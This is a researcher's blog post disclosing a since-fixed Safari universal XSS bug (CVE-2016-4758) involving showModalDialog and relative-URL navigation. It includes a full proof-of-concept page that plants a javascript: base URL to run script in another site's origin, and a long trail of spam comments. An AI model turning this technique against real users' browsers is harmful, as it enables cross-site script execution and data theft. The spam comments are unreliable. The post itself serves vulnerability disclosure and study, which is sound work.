Sunday, September 25, 2016

CVE-2016-4758: UXSS in Safari's showModalDialog

I would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
FYI, Mobile Safari is not vulnerable because it does not have the showModalDialog method.

Preconditions for Attack

To attack using this bug, we need two conditions:
  1. The target page navigates to the relative URL using JavaScript. (e.g. location="/",window.open("/","_blank"))
  2. That navigation is done after the completion of the page loading.

I created the page that satisfies it:

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>

This page's only purpose is that navigates to https://vulnerabledoma.in/index.html when the user click the "Top Page" button.
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.

The Bug

Now, let's use the showModalDialog method.
The following page only opens the target page in a modal dialog:

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
What will happen when we click the "Top Page" button in the modal dialog? Needless to say, we will go to https://vulnerabledoma.in/index.html. But Safari was different. Surprisingly, Safari navigated to https://l0.cm/index.html. Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.

(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the <a> tag and xhr.open("GET",[URL]) used the correct URL. )

Developing XSS attacks

According to html5sec.org #42, Safari allows to set the javascript: URL to the base tag. So, I thought that I might be able to XSS if I set the javascript: URL to the base tag in the parent page.

And my assumption was correct. This is final PoC:

<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:


Yay!

Conclusion

I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.

If I find interesting bug, I'll share again :D Thanks!

55 comments:

  1. I am glad that I saw this post. It is informative blog for us and we need this type of blog thanks for share this blog, Keep posting such instructional blogs and I am looking forward for your future posts.
    Cyber Security Projects for Final Year

    JavaScript Training in Chennai

    Project Centers in Chennai

    JavaScript Training in Chennai

    ReplyDelete
  2. Thank you for making me aware of this UXSS in Safari's showModalDialog.
    check this- Error 0X000003EB

    ReplyDelete
  3. Jio Lottery is famous Indian Lottery. Join to win big amounts in real time announcements and become easily Jio Lottery Winner in 2020.
    Jio Lottery Winner
    Jio Lottery Winner 2020
    KBC Jio Lottery Winner 2020 List
    KBC Jio Lottery Winner 2020 Check
    kbc Jio Lottery Winner 2020 List Today

    ReplyDelete
  4. Red Hat Certified Engineer is a professional who has expertise in handling the Red Hat Enterprise Linux System. The Certified Engineer takes care of various tasks such as setting kernel runtime parameters, handling various types of system logging and providing certain kinds of network operability. The professionals must have the ability to install networking services and security on servers running Red Hat Enterprise Linux.

    Red Hat Certified Engineer

    ReplyDelete
  5. You should be a part of a contest for one of the highest quality sites on the net. I’m going to highly recommend this blog! The training and certification courses to get trained on microtek training. I got really cleared my doubts by reading your informative information.

    Well i also founded something interesting over here in microtek training solutions

    ReplyDelete
  6. Very interesting blog. Many blogs I see these days do not really provide anything that attracts others, but believe me the way you interact is literally awesome.You can also check my articles as well.

    Security Guard License
    Ontario Security License
    Security License Ontario
    Security License

    Thank you..

    ReplyDelete
  7. Awesome, I’m really thank you for this amazing blog. Visit Ogen Infosystem for creative website designing and development services in Delhi, India.
    Website Designing Company

    ReplyDelete
  8. Water bodies are the main source of transportation for international freight forwarding. Due to this, sea freight company in Delhi,
    visit
    Freight Forwarder in Vietnam
    Shipping Company In India

    ReplyDelete
  9. Post video about it. I will understand more on video. You will be able to buy youtube likes for your video from this site. Just get it running and buy youtube likes

    ReplyDelete
  10. Oracle Corporation is an American multinational computer technology corporation headquartered in Redwood Shores, California.
    tally training in chennai

    hadoop training in chennai

    sap training in chennai

    oracle training in chennai

    angular js training in chennai

    ReplyDelete
  11. You can reinstall or install Microsoft Office Setup at office.com/setup

    ReplyDelete
  12. Thank you for this useful article! Do you want to become popular on tiktok? I think you can do it with such video. You can read some tips about it from this site https://blog.nus.edu.sg/sarkar/how-to-become-a-tiktok-star-while-studing/

    ReplyDelete
  13. We’ve been creating elegant digital printing for over 20 years. Right from the start of the digital printing revolution, in fact. In that time we have grown with you, our clients. And the thing is, like any important relationship check our website for more info custom stickers printing

    ReplyDelete
  14. The CBD Oil Boxes are an important thing to trade cannabis oil in the market by performing it in the Cardboard or Kraft materials most maximum of the time. We are Manufacture CBD Packaging boxes and developing exceptional artwork for these custom product boxes. We at PACKAGINGPAPA, recognize the significance of press examples to explain our packaging abilities. therefore free individual kits are offered to our customers which include random box samples of our past done work

    ReplyDelete
  15. We are Global Online Quran Teachers, an educational organization that is located in Egypt Quran Recitation with Tajweed

    ReplyDelete
  16. The trick is to stage the right combination of boxes and packing materials in advance so that you can avoid running short on – or completely running out – of standard sizes.custom packaging box with logo custom packaging box with logo

    ReplyDelete
  17. Very nice article. I enjoyed reading your post. very nice share. I want to twit this to my followers. Thanks
    พวงหรีด
    รับทำ seo
    wm casino
    poker online
    โควิด

    ReplyDelete
  18. Such a very useful blog. Very Interesting to read this blog. I would like to thank you for the efforts you had made for writing this awesome blog. Great work.
    คลิปโป๊
    คลิปxxx
    คลิปโป๊ญี่ปุ่น
    คลิปโป้ไทย
    เรียนภาษาอังกฤษ
    kardinal stick

    ReplyDelete
  19. Watch movies online sa-movie.com, watch new movies, series Netflix HD 4K หนังฝรั่ง, watch free movies on your mobile phone, Tablet, watch movies on the web.

    SEE4K Watch movies, watch movies, free series, load without interruption, sharp images in HD FullHD 4k, ดูหนังชนโรง all matters, all tastes, see anywhere, anytime, on mobile phones, tablets, computers.

    GangManga read manga, read manga, read manga online for free, fast loading, clear images in HD quality, อ่านมังงะ all titles, anywhere, anytime, on mobile, tablet, computer.

    Watch live football ดูบอลออนไลน์, watch football online, link to watch live football, watch football for free.

    ReplyDelete
  20. SamudraBet Situs Judi Online Terbaik, Terpercaya dan Terbesar di Indonesia. Menyediakan permainan :

    Judi bola terbaik

    Judi slot online terpercaya

    Poker online terbaru

    Live casino online

    Judi sabung ayam

    ReplyDelete
  21. This article will outline all the different strategies you should be aware of when it comes to soccer.

    best ias coaching in delhi

    ReplyDelete
  22. The color and consistency have nothing to do with the quality of the CBD Flower. Only the cultivation method can be recognized by the color:

    ReplyDelete
  23. 2020, WSOP.com and GGPoker are hosting a summer โป๊กเกอร์ออนไลน์ gold bracelet event. The two are scheduled to return in 2021

    ReplyDelete
  24. I read your article it is very interesting and every concept is very clear, thank you so much for sharing. AWS Certification Course in Chennai

    ReplyDelete
  25. Our UFA800 has various game rooms for you to choose from ดูบอลออนไลน์ .For those of you who like to play casino games in the name of UFAGAME, it is a collection of many games such as baccarat games, bounce games

    ReplyDelete
  26. The Google Birthday Surprise Spinner, the greatest Doodle yet, has come around. comprising of a turning wheel that, when turned, takes you to one of the nineteen different games, was Google's method of celebrating its nineteenth birthday. These 19 different games are very different from each other but they are entertaining enough

    ReplyDelete
  27. Thank you for sharing this informative article. If somebody is looking for Quran learning check this now online quran academy

    ReplyDelete
  28. เราคือผู้นำด้านเกมพนันออนไลน์ Major168 เราคือผู้ให้บริการ คาสิโนออนไลน์ ที่ได้รับรองว่าดีที่สุดในประเทศไทย มีค่ายเกมส์ให้เล่นมากมาย Sagaming, Sexy bacarat, Dreamgame, Ebet, Wm casino, Vivo gaming ไม่ผ่านเอเย่นต์ ระบบปลอดภัยมีทีมงานดูแลตลอด 24ชม.

    SAGAME88 แหล่งรวมเกมส์พนันออนไลน์ คาสิโนสด บาคาร่า กำถั่ว คาสิโนออนไลน์ ไฮโล รูเล็ต รับเครดิตฟรีเล่นได้ทุกเกมส์ โบนัสสมาชิกใหม่เพียบ พร้อมระบบฝากถอนออโต้ 10วิ เรามีทุกค่ายเกมส์ให้คุณเลือกเดิมพัน SA Game Sexy bacarat Dreamgame WM Casino VIVO Gaming Ebet เล่นได้ทุกเกมส์

    Our website ufabet provides betting services in the system of Auto Deposit-Withdrawal. Our members are not only in Thailand. Online football betting UEFA Bet market And this makes a guarantee that Ufabet168 is another reliable football betting website

    ufa through the website UFABET1688 a web gambling online , one that integrated all the bets from online casinos , online casino , online , and also have a game a lot more to be chosen to play such games.

    ReplyDelete
  29. I love to read your post it is interesting and informative too. I am not that much into the reading but today your post forces me to read it all. I belong to Packaging Printing UK so if you need any good quality Bespoke Boxes as per your desire in cheap prices with the fastest shipping so you can visit our site: Bespoke Packaging

    ReplyDelete
  30. Because our ufabet website system is an automatic deposit system. Therefore having to bother customers who transfer money to Do not save your account number as a favorite. Always fill in to transfer by yourself. Because the system may change the deposit account It is very important that customers view the transfer balance every time.

    ReplyDelete
  31. F95Zone gives you the ideal platform to talk about things that people find too shy and unusual to talk about with their acquaintances or friends. In conjunction with the discussion forum, this website has a good deal of options plus functions which enable users to have a wholesome and seamless experience.

    ReplyDelete
  32. Suggest how to play the game The preferred card game in the globe, but for anyone looking for fun with card video games. Get prepared to opt for renowned sites from around the globe. Ready to provide you with the challenge And online gambling poker tournaments Additionally, it incorporates a bonus. เล่น poker เว็บไหนดี, given to the racers of ours that are ready to fight in a major tournament worth having fun with information from real experts from the big competition with a good deal of experience We provide chip exchange services for players. All over Thailand is able to line of us and notify Games you would like to play immediately.

    ReplyDelete
  33. Through www.amazon.com/mytv - how you can connect your mobile phone to Amazon Prime. Through amazon.com/mytv, you can watch your favorite TV shows, series movies. You can watch prime videos anywhere on your device. Users need to create an Amazon account if they don’t have an Amazon account and enter the Amazon my TV activation code to watch Amazon prime videos on your device.

    amazon.com/mytv | www.amazon.com/mytv

    ReplyDelete